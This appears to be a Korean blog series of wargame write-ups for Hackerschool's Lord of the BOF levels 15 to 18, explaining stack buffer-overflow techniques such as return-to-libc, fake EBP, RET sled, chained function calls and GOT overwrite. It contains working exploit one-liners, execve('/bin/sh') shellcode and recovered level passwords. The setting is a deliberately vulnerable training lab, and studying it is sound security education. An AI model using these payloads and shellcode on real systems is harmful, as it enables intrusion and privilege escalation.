main 함수가 끝나면 buffer[40]+48 주소인 strcpy() 함수의 RET 부분은 "AAAA"로 채워진 상태로 strcpy() 함수로 반환된다.

하지만 strcpy() 함수는 특정 주소에 있는값을 특정 주소에 복사하는 함수이므로 이를 이용해 GOT에 있는 함수를 변조하여 해당 함수를 재호출해 쉘을 딸 필요없이 strcpy() 함수의 RET 부분에 공유 라이브러리 내의 system() 함수의 주소를 입력하면 된다.

#include <string.h>
char *strcpy(char *string1, const char *string2);

여기서 주의할 점은 strcpy() 함수에 넘길 인자는 문자열이 들어있는 주소이므로 system() 함수의 주소를 바로 인자로 주면 안되고, 스택에 담은 후 해당 스택의 주소를 인자로 줘야 한다는 점이다.

[strcpy() 함수의 plt 주소] + ["AAAA"] + [strcpy() 함수의 인자1] + [strcpy() 함수의 인자2] + [system() 함수의 주소] + [system() 함수의 RET 부분] + ["/bin/sh" 문자열의 주소]

payload 구성은 위와 같을 것인데, strcpy() 함수의 인자 1과 strcpy() 함수의 인자 2는 core 파일을 생성하여 알아내야 한다.

참고)

"AAAA" 부분은 strcpy() 함수의 RET 부분이므로 당연히 "0x41414141" 주소로는 반환할 수 없기 때문에 segmentation 에러가 발생한다.

이는 core 파일을 생성해서 x/40x $esp-4로 보면 명확하게 확인할 수 있다.

ldd nightmare

nm /lib/libc.so.6 | grep system

strings -tx /lib/libc.so.6 | grep /bin/sh

먼저 공유 라이브러리에서 system() 함수와 "/bin/sh" 문자열의 주소를 알아와야 하는데

위의 명령들을 이용해 system() 함수의 주소 0x40058ae0(0x40018000 + 0x40ae0)과 "/bin/sh"문자열의 주소 0x400fbff9(0x40018000 + 0xe3ff9)를 알아낸다.

cp nightmare nightmare2

./nightmare2 `python -c 'print "a" * 44 + "\x10\x84\x04\x08" + "AAAA" + "bbbb" + "cccc" + "\xe0\x8a\x05\x40" + "dddd" + "\xf9\xbf\x0f\x40"'`

gdb -q -c core

x/40x $esp-4

알아낸 정보들로 test payload를 구성해 core 파일을 생성한 후 분석하여 strcpy() 함수의 RET 부분과 system() 함수의 주소가 있는 스택 주소를 알아낸다.

strcpy() 함수의 RET 부분은 0xbffffc80이고, system() 함수의 주소가 있는 부분의 스택 주소는 0xbffffc8c이다.

./nightmare `python -c 'print "a" * 44 + "\x10\x84\x04\x08" + "AAAA" + "\x80\xfc\xff\xbf" + "\x8c\xfc\xff\xbf" + "\xe0\x8a\x05\x40" + "dddd" + "\xf9\xbf\x0f\x40"'`

수정한 payload로 nightmare를 실행하면 nightmare의 password인 beg for me를 얻을 수 있다.

참고)

strcpy() 함수의 RET 부분의 값을 system() 함수의 주소로 덮으면 결과적으로 'AAAA'로 채워져 있던 strcpy() 함수의 RET 부분이 RET 부분부터하여 그 뒤로 \xe0\x8a\x05\x40\x64\x6\x64\x64~~로 채워질 것이고, RET 부분의 4byte 값은 system() 함수의 주소인 0x40058AE0이므로 strcpy() 함수가 종료되고 system() 함수로 반환될 것이다.

참고)

이번 문제에서는 buffer[40]의 공간을 초기화하지 않으므로 buffer[40]의 공간에 system() 함수의 주소부터 system() 함수의 RET와 "/bin/sh" 문자열의 주소를 넣고 나머지 공간을 dummy 값으로 채운 다음 strcpy() 함수의 RET 부분을 buffer[40]의 스택 주소로 변조해도 된다.

다른 방식으로는 리눅스에서 main() 함수가 종료될 때 소멸자 역할을 하는 함수인 __DTOR_END__를 이용하려고 했지만 이는 strcpy() 함수가 먼저 호출되고 main() 함수가 종료되어야 하므로 순서가 맞지 않아 적용시키지 못했다.

또 다른 방식으로는 GOT overwrite 기법을 적용하여

main 함수가 끝나고 strcpy() 함수로 반환된 후 "AAAA"로 초기화 되어 있는 strcpy() 함수의 RET 부분에 strcpy() 함수의 주소를 넣어 또 strcpy() 함수로 반환하도록 한 후 strcpy() 함수의 주소에 system() 함수의 주소를 넣고, 다시 한 번 strcpy() 함수를 넣는 방식으로 하려고 했지만 아직 시도는 못해봤다.

plt & got 핵심 설명

plt와 got는 정적 라이브러리일 때는 상관없고, 동적 라이브러리일 때 쓰이는 것이다.

기본적으로 컴파일할 때는 동적 라이브러리 방식으로 컴파일 된다.

plt : 외부 함수를 연결해주는 테이블이다. 
plt를 통해 다른 라이브러리에 있는 프로시저를 호출해 사용할 수 있는데
plt도 테이블이기 때문에 어떠한 정보들이 저장되어 있는데, 이 정보들은 GOT 테이블 내의 주소이다.

GOT : PLT가 참조하는 테이블로, 실제 함수들의 주소가 들어있다.

dynamic link 방식으로 컴파일된 프로그램에서 함수를 호출하게 되면 최초로 호출하느냐 혹은 이전에 호출한 적이 있느냐에 따라 야간의 차이가 있다.

plt를 가장 먼저 참조하고, 이어서 GOT로 점프하는데, GOT에 기록되어 있는 실제 함수 주소가 없기 때문에
PLT로 다시 이동하여 PLT에 있는 정보들과 _dl_runtime_resolve_xsavec 함수를 이용해
_dl_runtime_resolve 과정을 걸쳐 GOT에 실제 주소를 저장한 후 실제 함수 주소로 점프하여 함수가 동작하게 된다.

먼저, 어떠한 함수를 최초로 호출하는 거라면 위의 과정을 따른다.

어떠한 함수를 최초로 호출할 때 got에는 함수의 실제 주소가 아닌 다른 주소가 있는데, 먼저 got에 적혀있는 해당 주소로 점프하여 명령을 따라 실행하다가 _dl_runtime_resolve_xsavec 함수를 호출하게 되는데, 이 함수가 수행되면서 내부에서 함수의 실제 주소를 구하고 GOT에 저장한다.

plt를 가장 먼저 참조하고, plt에서 got로 점프하는데
got에 기록되어 있는 실제 함수 주소(library에 기록되어 있음)룰 호출하여 함수가 동작하게 된다.

GOT Overwrite

PLT에서 GOT를 참조하여 실제 함수 주소로 점프할 때 GOT에 적혀있는 실제 함수 주소 값을 검증하지 않는다.

그렇기 때문에 특정 함수를 처음 호출하여 해당 함수의 실제 주소를 GOT에 저장한 다음 저장된 값을 변조하면 해당 함수를 다시 호출할 때 변조된 값에 해당하는 주소에 있는 코드를 수행하게 될 것이고, 이를 GOT overwrite 기법이라고 한다.

https://bpsecblog.wordpress.com/2016/03/07/about_got_plt_1/

https://0secusik0.tistory.com/67

plt&got 실제 문제 : https://bpsecblog.wordpress.com/2016/03/09/about_got_plt_2/

[hackerschool lob redhat] LEVEL17 (zombie_assassin -> succubus) : function calls(꼬리 물기식 함수 호출, 함수의 RET 부분을 이용하여 쉘 코드 실행)

Sean(slay) — Tue, 20 Feb 2024 19:42:13 +0900

문제 확인

/*
        The Lord of the BOF : The Fellowship of the BOF
        - succubus
        - calling functions continuously
*/

#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>

// the inspector
int check = 0;

void MO(char *cmd)
{
        if(check != 4)
                exit(0);

        printf("welcome to the MO!\n");

	// olleh!
	system(cmd);
}

void YUT(void)
{
        if(check != 3)
                exit(0);

        printf("welcome to the YUT!\n");
        check = 4;
}

void GUL(void)
{
        if(check != 2)
                exit(0);

        printf("welcome to the GUL!\n");
        check = 3;
}

void GYE(void)
{
	if(check != 1)
		exit(0);

	printf("welcome to the GYE!\n");
	check = 2;
}

void DO(void)
{
	printf("welcome to the DO!\n");
	check = 1;
}

main(int argc, char *argv[])
{
	char buffer[40];
	char *addr;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// you cannot use library
	if(strchr(argv[1], '\x40')){
		printf("You cannot use library\n");
		exit(0);
	}

	// check address
	addr = (char *)&DO;
        if(memcmp(argv[1]+44, &addr, 4) != 0){
                printf("You must fall in love with DO\n");
                exit(0);
        }

        // overflow!
        strcpy(buffer, argv[1]);
	printf("%s\n", buffer);

        // stack destroyer
	// 100 : extra space for copied argv[1]
        memset(buffer, 0, 44);
	memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));

	// LD_* eraser
	// 40 : extra space for memset function
	memset(buffer-3000, 0, 3000-40);
}

1. 커맨드라인 인자가 있어야 한다.
2. argv[1]에 \x40이 있으면 안된다.
3. addr변수에 DO 함수의 주소를 담는다.
4. argv[1]+44 주소에서부터 4byte 만큼의 값이 DO 함수의 주소와 같아야 한다.
5. buffer[40]과 SFP 부분을 0으로 초기화 한다.
6. buffer+48+100 주소부터 0xbfffffff전까지 모두 0으로 초기화 한다.
7. buffer-3000 주소부터 2060만큼의 공간을 0으로 초기화 한다.

2번 조건으로 인해 첫 번째 커맨드라인 인자에 공유 라이브러리 주소를 넣을 수 없다.

4번 조건으로 인해 RET 부분에 덮어쓸 값은 DO 함수의 주소여야 한다.

5, 6, 7번 조건으로 인해 buffer[40] 영역, SFP 부분, buffer+48+100 ~ 0xbfffffff 영역, buffer[40]-3000 ~ buffer[40]-40 영역의 공간은 모두 0으로 초기화 된다.

하지만 6, 7번 조건을 반대로 생각해보면 buffer[40]+48 ~ buffer[40]+148 영역과 buffer[40]-40 ~ buffer[40] 영역은 자유롭게 사용할 수 있다는 것이다.

그러므로 payload를 스택에 넣을 때 RET 부분에서부터는 0으로 초기화 되지 않는다.

이번 문제는 함수들이 여러 개 있는데, 각 함수들의 이름을 보면 도, 개, 걸, 윷, 모이고, 각 함수들에서는 check 변수의 값을 검사하고 check 변수에 값을 넣는다.

그리고 마지막 MO() 함수에서는 매개 변수를 받아 해당 매개 변수를 인자로 넘겨 system() 함수를 실행한다.

전체적인 흐름을 보면 DO() 함수부터 하여 차례대로 호출하면 된다.

dummy 값 확인

지역 변수의 공간으로 44byte를 할당하는 것으로 보아 dummy 값은 없다

공격

먼저 각 함수들의 주소를 알아내기 위해 succubus 파일을 succubus2 파일로 복사한 후 gdb로 열어 프로세스화 시킨 다음 각 함수들의 주소를 출력한다.

DO : 0x80487ec

GYE : 0x80487bc
GUL : 0x804878c
YUT : 0x804875c
MO : 0x8048724

[dummy 값] * 44 + [DO 함수의 주소] + [GYE 함수의 주소] + [GUL 함수의 주소] + [YUT 함수의 주소] + [MO 함수의 주소] + [system 함수의 RET 부분] + ["/bin/sh" 문자열의 주소]

payload 구성은 위와 같다.

RET 부분에 덮어쓸 값은 DO 함수의 주소여야 하므로 DO 함수의 주소로 넣어주고, DO 함수의 RET 부분에는 다음으로 실행할 함수의 주소를 넣는 방식으로 다른 함수들의 RET 부분들도 동일한 방식으로 채워준다.

그리고 마지막 MO 함수에서는 system() 함수가 실행되고, system() 함수의 RET 부분은 dummy 값으로 채워준다.

마지막으로 system() 함수의 인자로 "/bin/sh" 문자열의 주소를 payload 마지막에 넣어줘야 하는데, 문제 조건에서 첫번째 커맨드라인 인자에 0x40 값이 포함되면 안되므로 공유 라이브러리에서 "/bin/sh" 문자열의 주소를 추출하는 방법은 이용할 수 없다.

그렇다면 첫 번째 커맨드라인 인자에 "/bin/sh" 문자열을 넣고 core 파일을 생성해 분석하여 해당 "/bin/sh" 문자열의 주소를 찾아 payload를 수정하는 방법을 이용한다.

[dummy 값] * 44 + [DO 함수의 주소] + [GYE 함수의 주소] + [GUL 함수의 주소] + [YUT 함수의 주소] + [MO 함수의 주소] + [system 함수의 RET 부분] + ["/bin/sh" 문자열의 주소] + ["/bin/sh"]

그렇다면 최종 테스트 payload 구성은 위와 같을 것이다.

./succubus2 `python -c 'print "a" * 44 + "\xec\x87\x04\x08" + "\xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08" + "bbbb" + "cccc" + "/bin/sh"'`

gdb -q -c core

x/40x $esp-48

x/s 0xbffffc68

테스트 paylaod의 구성에 맞게 payload를 만들어 core 파일을 생성 후 분석해보면 "/bin/sh" 문자열이 있는 스택 주소는 0xbffffc68이다.

`python -c 'print "a" * 44 + "\xec\x87\x04\x08" + "\xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08" + "bbbb" + "\x68\xfc\xff\xbf" + "/bin/sh"'`

id

my-pass

payload를 수정하여 succubus 파일에 인자로 주어 실행하면 succubus의 password인 here to stay를 얻을 수 있다.

DO 함수 RET 부분에서 바로 쉘 코드 실행하기

위에서는 DO, GYE, GUL, YUT, MO 함수를 모두 호출하여 모든 조건을 만족시키며 쉘을 땄지만, DO 함수만 호출하고 DO 함수의 RET부분에 GYE 함수의 주소 대신 쉘 코드가 있는 주소를 넣어주면 되는데, 이때 쉘 코드는 "/bin/sh" 문자열을 스택에 넣은 것처럼 하여 쉘 코드가 있는 주소를 구해오면 된다.

`python -c 'print "a" * 44 + "\xec\x87\x04\x08" + "bbbb" + "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`

gdb -q -c core

x/40x $esp-48

먼저 테스트용 payload를 구성해 core 파일을 생성하고 분석하면 shellcode가 있는 주소는 0xbffffc24이다.

`python -c 'print "a" * 44 + "\xec\x87\x04\x08" + "\x24\xfc\xff\xbf" + "\x90" * 10 + "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`

payload를 수정하여 공격하면 위와 같이 성공하며 succubus의 password인 here to stay를 얻을 수 있다.

[hackerschool lob redhat] LEVEL16 (assassin -> zombie_assassin) : fake ebp(argv[2] 이용, system() 함수 이용)

Sean(slay) — Tue, 20 Feb 2024 12:42:32 +0900

password : pushing me away

lob16.drawio

0.05MB

문제 확인

/*
        The Lord of the BOF : The Fellowship of the BOF
        - zombie_assassin
        - FEBP
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
	char buffer[40];

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	if(argv[1][47] == '\xbf')
	{
		printf("stack retbayed you!\n");
		exit(0);
	}

        if(argv[1][47] == '\x40')
        {
                printf("library retbayed you, too!!\n");
                exit(0);
        }

	// strncpy instead of strcpy!
	strncpy(buffer, argv[1], 48);
	printf("%s\n", buffer);
}

1. 커맨드라인 인자가 있어야 한다.
2. RET 부분에 덮어쓸 값이 스택 주소이면 안된다.
3. RET 부분에 덮어쓸 값이 공유 라이브러리 영역의 주소이면 안된다.
4. strncpy() 함수를 사용하여 48byte만 buffer[40]에 복사한다.

이번 문제도 이전 level15 문제와 비슷하게 no stack, no RTL이다.

하지만 strcpy() 함수 대신 strncpy() 함수를 사용하여 48byte만 복사한다는 점이 다르다.

이 문제에서는 fake ebp 기법을 이용하라고 한다.

fake ebp 기법

fake ebp 기법은 결과적으로 FPO 기법과 동일한 동작 원리이기 때문에, FPO 기법을 먼저 이해하고 있는 것이 좋다.
https://sean.tistory.com/490

fake ebp 기법은 FPO(Frame Pointer Overflow) 기법과 거의 99.8% 비슷한 맥락으로 ip(instruction pointer)를 변경시켜서 원하는 값에 접근하는 공격기법으로, 가짜 SFP를 만들어서 실행 흐름을 조작하는데, SFP 부분만 overflow 되면 사용할 수 있는 FPO 기법과는 달리 fake ebp 기법은 SFP 부분과 RET 부분까지 overflow가 가능해야 한다.

여기서 FPO 기법과 fake ebp 기법을 더 자세히 비교해보자면

FPO 기법은 아래의 두 가지 조건이 성립되어야 한다.

1. 서브 함수가 존재하고 해당 서브 함수를 호출해야 한다.
2. buffer overflow로 서브 함수 내의 SFP의 최소 하위 1byte를 덮을 수 있어야 한다.

반면, fake ebp 기법은 아래의 조건이 성립되어야 한다.

1. SFP와 RET 부분을 덮어쓸 수 있어야 한다.

FPO 기법에서 첫 번째 조건인 서브 함수가 존재하고 해당 서브 함수를 호출해야 하는 이유는 함수 에필로그 과정이 두 번 필요하기 때문이다.

참고)
함수 에필로그는 leave와 ret 명령으로 이루어져 있는데 이 두 명령들의 내부 동작은 아래와 같다.

[leave]
mov esp, ebp
pop ebp

[ret]
pop eip
jmp eip

하지만 fake ebp 기법에서는 서브 함수가 없어도 RET 부분에 leave; ret 가젯의 주소를 넣어줌으로써 서브 함수를 호출하여 함수 에필로그를 한번 더 진행하는 것과 같은 효과를 내는 것이다.

그리고 FPO 기법에서 두 번째 조건인 서브 함수 내의 SFP의 최소 하위 1byte를 덮어쓸 수 있어야 한다는 조건이 있는데, SFP 부분의 1byte만 변조할 때는 이용할 수 있는 스택 공간 범위에 있어 약간의 제한이 있었다.

반면, fake ebp 기법에서는 SFP 부분 전체를 변조할 수 있으므로 이용할 수 있는 스택 공간 범위에 있어 제한이 없다.

fake ebp 기법 사용 시 스택의 변화

왼쪽과 같이 스택이 구성되어 있을 때 fake ebp 기법을 이용해 buffer[40]에는 shellcode가 있는 공간의 주소를 넣고, SFP 부분에는 buffer[40]의 주소에서 4를 뺀 주소를 넣고, RET 부분에는 leave; ret 코드 가젯의 주소를 넣는다면 오른쪽과 같이 구성될 것이다.

main 함수의 함수 에필로그가 시작되면서 leave 명령이 수행되는데 먼저 leave 명령의 mov esp, ebp로 인해 위와 같이 esp가 ebp와 동일한 위치로 이동된다.

현재 SFP 부분에는 buffer[40]의 주소에서 4를 뺀 0xbffffc7c 값이 들어있다.

그 다음 leave 명령의 pop ebp로 인해 esp는 RET 부분을 가리키게 되고, ebp에는 SFP에 있던 값 0xbffffc7c가 들어가게 됨으로써 ebp는 0xbffffc7c 주소를 가리키게 된다.

현재 RET 부분에는 leave; ret 코드 가젯의 주소가 있다.

쉽게 말해 leave; ret 명령이 있는 코드 영역의 주소가 있다는 것이다.

이어서 main 함수의 ret 명령이 실행되는데 ret 명령의 pop eip에 의해 esp는 argc 부분을 가리키게 되고, eip 레지스터에는 RET 부분에 있던 값이 담기는데, RET 부분에는 leave; ret 코드 가젯의 주소가 있었기 때문에 eip 레지스터에는 leave; ret 코드 가젯의 주소가 담긴다.

이어서 ret 명령의 jmp eip로 인해 leave; ret 코드 가젯의 주소로 실행 흐름이 바뀐다.

실행 흐름이 leave; ret 코드 가젯의 주소로 바뀌었기 때문에 leave 명령과 ret 명령이 다시 수행된다.

leave 명령의 mov esp, ebp로 인해 esp의 위치가 ebp와 동일하게 바뀐다.

그 다음 leave 명령의 pop ebp에 의해 0xbffffc7c 주소에 있던 dummy값이 ebp에 담김으로써 ebp는 dummy 값에 해당하는 주소를 가리키게 되고, esp는 buffer[40]의 시작 주소를 가리키게 된다.

FPO 기법을 이해한 상태라면 SFP 부분에 덮어쓰는 값이 buffer[40]의 주소가 아닌 buffer[40]의 주소에서 4를 뺀 0xbffffc7c 주소여야 한다는 것이 이해될 것이다.

간단히 설명하자면, 바로 leave 명령의 pop ebp에 의해 esp가 조작되는데 이 부분 때문에 buffer[40]의 주소에서 4를 뺀 주소로 덮어쓰는 것이다.

buffer[40]의 주소에서 4를 뺀 주소로 덮어써야 leave 명령의 pop ebp가 수행됐을 때 esp가 buffer[40]의 시작 위치를 가리키도록 할 수 있다.

이어서 ret 명령이 실행되는데 ret 명령의 pop eip에 의해 esp는 0xbffffc84 주소를 가리키게 되고, buffer[40]의 시작 주소에서부터 4byte만큼에 해당하는 값을 가져와 eip를 담는다.

그리고 ret 명령의 jmp eip에 의해 eip 레지스터에 담긴 값에 해당하는 위치로 실행 흐름이 바뀌어 해당 위치에 있는 명령을 수행한다.

이때 eip에 담는 값이 shellcode가 있는 공간의 주소라면 실행 흐름이 shellcode 가 있는 공간의 주소로 바뀌어 shellcode를 실행하게 될 것이다.

dummy 값 확인

지역 변수의 공간으로 40byte를 할당하는 것으로 보아 dummy 값은 없다.

공격

[shellcode의 주소] * 40 + [buffer[40]-4의 주소] + [leave; ret 코드 가젯의 주소]

fake ebp 기법을 적용하여 payload를 구성하면 위와 같다.

먼저 shellcode 주소는 argv[2]에 shellcode를 넣고 argv[2]의 주소를 사용할 것인데, argv[2]의 주소와 buffer[40]-4의 주소를 얻기 위해 core 파일을 분석할 것이다.

그리고 leave; ret 코드 가젯의 주소는 gdb를 이용해 알아낼 것이다.

참고) 굳이 argv[2]를 이용할 필요 없이 환경 변수를 이용해도 된다.

cp zombie_assassin zombie_assassin2

`python -c 'print "a" * 48'` `python -c 'print "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`

gdb -q -c core

x/80x $esp-48

x/3x 0xbffffcb4

x/s 0xbffffdeb

먼저 core 파일을 생성하기 위해 zombie_assassin 파일을 zonbie_assassin2 파일로 복사하고, 위와 같이 인자를 주어 실행함으로써 core 파일을 생성한다.

그리고 core 파일을 분석해보면 argv[2]의 주소는 0xbffffdeb이고, buffer[40]의 주소는 0xbffffc40이므로 buffer[40]-4의 주소는 0xbffffc3c이다.

gdb -q zombie_assassin

disas main

이어서 gdb로 zombie_assassin 파일을 열어 디스어셈블 해보면 leave; ret 코드 가젯의 주소는 0x80484df이다.

`python -c 'print "\xeb\xfd\xff\xbf" * 10 + "\x3c\xfc\xff\xbf" + "\xdf\x84\x04\x08"'` `python -c 'print "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`

위에서 구한 정보들로 payload를 구성한 후 zonbie_assassin에 인자로 주어 실행하면 segmentation fault가 발생한다.

이는 당연히 프로그램 이름 길이에 따른 스택 주소의 변화 부분을 고려 안했기 때문인데, 테스트 때는 zombie_assassin2에 했었기 때문에 argv[2]의 주소가 0xbffffdeb였지만, zombie_assassin에 인자로 줄 때는 0xbffffded로 해야 한다.

참고)

프로그램 이름 길이가 1byte 길어지면 스택의 주소는 2byte씩 작아지고, 반대로 이름 길이가 1byte 짧아지면 스택의 주소는 2byte씩 커진다.

그러므로 zombie_assassin은 zombie_assassin2보다 1byte 작기 때문에 스택 주소가 2byte 커져야 한다.

./zombie_assassin `python -c 'print "\xed\xfd\xff\xbf" * 10 + "\x3c\xfc\xff\xbf" + "\xdf\x84\x04\x08"'` `python -c 'print "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`

수정된 payload로 공격하면 zombie_assassin의 password인 no place to hide를 얻을 수 있다.

쉘 코드 없이 system 함수를 이용해 공격

[system() 함수의 주소] + [system() 함수의 RET 부분] + ["/bin/sh" 문자열의 주소] + [남은 buffer[40]의 공간] + [buffer[40]-4의 주소] + [leave; ret 가젯의 주소]

쉘 코드 없이 system() 함수가 실행되도록 실행 흐름을 바꿔 공격할 수도 있다.

payload 구성은 위와 같다.

cp zombie_assassin zombie_assassin2

./zombie_assassin2 `python -c 'print "a" * 48'`

gdb -q -c core

x/40x $esp-48

먼저, buffer[40] - 4의 주소를 구하기 위해 core 파일을 생성한 후 core 파일을 분석한다.

buffer[40]-4의 주소는 0xbffffc4c이다.

ldd zombie_assassin

nm /lib/libc.so.6 | grep system

strings -tx /lib/libc.so.6 | grep /bin/sh

그 다음 sysetm() 함수와 "/bin/sh" 문자열의 주소를 공유 라이브러리에서 찾으면 각각 0x40058ae0과 0x400fbff9이다.

./zombie_assassin `python -c 'print "\xe0\x8a\x05\x40" + "aaaa" + "\xf9\xbf\x0f\x40" + "b" * 28 + "\x4c\xfc\xff\xbf" + "\xdf\x84\x04\x08"'`

위에서 구한 정보들을 이용해 payload를 구성한 후 공격하면 성공적으로 zombie_assassin의 password인 no place to hide를 얻을 수 있다.

[hackerschool lob redhat] LEVEL15 (giant -> assassin) : no stack, no RTL(RET 가젯으로 esp를 조작하는 RET sled 기법, 환경 변수 이용 및 getenv, getenvaddr 이용)

Sean(slay) — Mon, 19 Feb 2024 20:52:44 +0900

password : one step closer

문제 확인

/*
        The Lord of the BOF : The Fellowship of the BOF
        - assassin
        - no stack, no RTL
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
	char buffer[40];

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	if(argv[1][47] == '\xbf')
	{
		printf("stack retbayed you!\n");
		exit(0);
	}

        if(argv[1][47] == '\x40')
        {
                printf("library retbayed you, too!!\n");
                exit(0);
        }

	strcpy(buffer, argv[1]);
	printf("%s\n", buffer);

        // buffer+sfp hunter
        memset(buffer, 0, 44);
}

1. 커맨드라인 인자가 있어야 한다.
2. RET 부분에 덮어쓰는 값이 0xbf로 시작하면 안되므로 스택 공간을 이용할 수 없다.
3. 공유 라이브러리 공간인 0x40으로 시작하는 주소도 안되므로 RTL 기법을 이용할 수 없다.
4. buffer와 SFP 부분을 초기화 한다.

이번 문제에서는 RET 부분에 덮어쓰는 주소값이 0xbf 또는 0x40으로 시작하면 안되므로 스택 공간과 RTL 기법을 이용할 수 없다.

낮은 주소

kernel

code

data

bss

heap

libc

stack

높은 주소

프로세스 메모리 구조를 보면 스택 영역과 공유 라이브러리 영역을 사용할 수 없는 것이므로 텍스트(코드) 영역을 이용한다.

여기서 사용할 기법은 RET Sled 라는 기법인데, 이 기법은 RET 부분에 ret 가젯을 연속적으로 삽입하여 esp를 조작하는 기법으로, ret 가젯으로 esp를 조작할 수 있는 이유는 ret 명령은 내부적으로 pop eip; jmp eip와 같은 동작을 수행하는데, 이때 pop 명령은 esp가 가리키는 곳에서 4byte 값을 가져와 인자에 해당하는 곳에 넣는 것과 동시에 esp가 가리키는 주소에 4를 더하여 esp를 이동시키기 때문이다.

참고)

가젯이란 ROP 기법에서 자주 쓰이는 것인데, 원래 의미는 코드 조각을 지칭하지만, ret로 끝나는 연속된 명령어를 뜻하기도 한다.

이해하기 쉽게 ret 가젯은 ret 명령어 조각이라고 이해하면 된다.

dummy 값 확인

지역 변수의 공간으로 40byte를 할당하는 것으로 보아 dummy 값은 없다.

공격

RET sled 기법을 이용해 RET 부분에 ret 가젯(코드 조각)의 주소를 덮어쓴다면, esp가 RET 부분을 가리키는 상태에서 ret 명령이 실행되면 pop eip에 의해 esp가 가리키는 곳에서 4byte 값을 가져와 eip에 담는데, 이때 4byte 값은 ret 가젯의 주소이므로 eip에는 ret 명령이 있는 주소가 담기게 된다.

이어서 jmp eip에 의해 다시 ret 가젯이 있는 주소로 간다.

하지만 esp는 4가 더해져 이동됐기 때문에 RET 부분이 아닌 RET 부분 + 4 주소에 해당하는 위치에 있다.

참고)

대문자 RET라고 적은 것은 스택 공간의 RET 부분을 지칭하는 것이고, 소문자 ret 라고 적은 것은 코드 영역의 어셈블리 명령어를 지칭하는 의미로 적었다.

[dummy 값 * 44] + [ret 가젯의 주소] + [system 함수의 주소] + [system 함수의 RET 부분] + ["/bin/sh" 문자열의 주]

RET sled 기법을 이용하여 payload를 구성하면 위와 같다.

gdb -q assassin
set disassembly-flavor intel
disas main

먼저, ret 가젯의 주소는 gdb를 이용해 구할 수 있는데, ret 가젯의 주소는 0x0804851e이다.

ldd assassin

nm /lib/libc.so.6 | grep system

이어서 system 함수의 주소는 공유 라이브러리에서 찾을 수 있는데, libc의 base 주소 0x40018000에 system 함수의 offset 주소 0x40ae0을 더하면 system() 함수의 실제 주소는 0x40058ae0이다.

참고)

또 다른 방법은 assassin 파일을 다른 이름으로 복사한 후 gdb로 열고 실행시켜 프로세스화 한 후 print 명령을 이용해 system() 함수의 주소를 얻어내는 방법도 있다.

strings -tx /lib/libc.so.6 | grep /bin/sh

마지막으로 "/bin/sh" 문자열의 주소 역시 공유 라이브러리에서 offset 값을 구해 공유 라이브러리 base 주소에 더하면 0x400fbff9이다.

./assassin `python -c 'print "a" * 44 + "\x1e\x85\x04\x08" + "\xe0\x8a\x05\x40" + "b" * 4 + "\xf9\xbf\x0f\x40"'`

id

my-pass

이제 위에서 얻은 정보들을 가지고 payload 구성에 맞게 넣은 다음 assassin 파일에 인자로 주어 실행하면 assassin의 password인 pushing me away를 얻을 수 있다.

환경 변수 이용하기

위에서는 system() 함수의 주소를 구해 system() 함수가 실행되며 쉘이 실행되도록 했지만, 굳이 다른 함수를 실행하지 않고 환경 변수에 쉘코드를 입력하여 쉘을 띄울 수 있다.

ret 가젯을 이용하는 것 똑같지만 RET 부분 + 4의 주소에 system() 함수의 주소가 아닌 환경 변수의 주소를 넣는 것이다.

export shellcode=`printf "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"`

echo $shellcode

먼저 셸코드를 환경 변수에 저장한다.

vi getenv.c

#include <stdio.h>

int main(int argc, char ** argv)
{
        printf("%s : %p\n", argv[1], getenv(argv[1]));

        return 0;
}

gcc -o getenv getenv.c
./getenv shellcode

이어서 getenv.c 파일에 위의 코드를 작성한 후 컴파일하고 실행하여 shellcode 환경 변수의 주소를 구하면 0xbfffff68이다.

./assassin `python -c 'print "a" * 44 + "\x1e\x85\x04\x08" + "\x68\xff\xff\xbf"'`

payload를 구성하는데 이번에는 위에서 말했듯이 ret 가젯을 이용해 system() 함수가 아닌 shellcode 환경 변수의 쉘 코드가 실행되게 한다.

하지만 위와 같이 segmentation fault 에러와 함께 실패한다.

아마 이는 프로그램 이름 길이에 따른 스택 주소의 변화 때문일 것이다.

프로그램 이름의 길이가 1byte 길어질수록 스택 주소는 2byte씩 작아지고, 반대로 이름의 길이라 1byte 짧아질수록 스택 주소는 2byte씩 커진다.

./getenv는 8byte이고, ./assassin은 10byte이므로 2byte가 길어지고, 이러면 스택 주소는 4byte 작아지므로 ./assassin 프로세스에서 shellcode 환경 변수의 주소는 0xbfffff64이다.

vi getenvaddr.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>


int main(int argc, char ** argv)
{
        char *ptr;
        ptr = getenv(argv[1]);
        ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;

        printf("%s : %p\n", argv[1], ptr);

        return 0;
}

gcc -o getenvaddr getenvaddr.c

./getenvaddr shellcode ./assassin

위와 같이 getenvaddr.c 파일에 소스코드를 입력해 컴파일 후 실행함으로써 shellcode 환경 변수의 주소를 정확하게 구할 수 있다.

